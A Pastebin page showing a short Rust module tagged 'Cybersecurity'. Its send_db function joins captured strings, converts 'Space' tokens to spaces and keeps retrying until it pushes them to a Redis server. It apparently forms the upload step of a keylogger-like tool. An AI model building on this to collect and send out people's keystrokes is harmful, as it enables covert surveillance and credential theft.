Advertisement
FlyFar

mod.rs

Jul 24th, 2023
1,169
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Rust 0.28 KB | Cybersecurity | 0 0
  1. use std::{thread, time};
  2.  
  3. pub(crate) mod redis;
  4.  
  5. pub fn send_db(data: &[String]) {
  6.     let val = data.join(" ").replace("Space", " ");
  7.     loop {
  8.         if redis::send(&val).is_ok() {
  9.             break;
  10.         }
  11.         thread::sleep(time::Duration::from_millis(10))
  12.     }
  13. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement